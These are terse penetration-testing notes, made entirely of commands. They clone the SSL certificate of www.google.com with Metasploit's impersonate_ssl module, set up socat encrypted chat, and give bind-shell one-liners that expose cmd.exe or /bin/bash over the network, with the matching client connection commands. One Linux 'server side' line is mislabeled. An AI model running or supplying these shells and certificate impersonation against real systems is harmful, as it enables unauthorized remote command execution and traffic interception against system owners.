Generating a cert:
msf5 > use auxiliary/gather/impersonate_ssl
msf5 auxiliary(gather/impersonate_ssl) > set RHOSTS www.google.com
msf5 auxiliary(gather/impersonate_ssl) > run
Copy the cert from ~/.msf4/loot to wherever you need it, in this case C:\tools\socat
Server side chat: PS C:\tools\socat>
./socat openssl-listen:8443,reuseaddr,cert=test.pem,verify=0,fork stdio
Client side chat:
./socat stdio openssl-connect:localhost:8443,verify=0
Server side:
./socat openssl-listen:8443,reuseaddr,cert=test.pem,verify=0,fork stdio
Bind Shell (Windows Server Side):
./socat openssl-listen:8443,reuseaddr,cert=test.pem,verify=0,fork EXEC:'cmd.exe',pipes
Bind Shell (Linux Server Side):
socat file:`tty`,raw,echo=0 tcp-listen:9998
or
socat EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane tcp-listen:9998
Bind Shell (Windows Client Side):
./socat stdio openssl-connect:localhost:8443,verify=0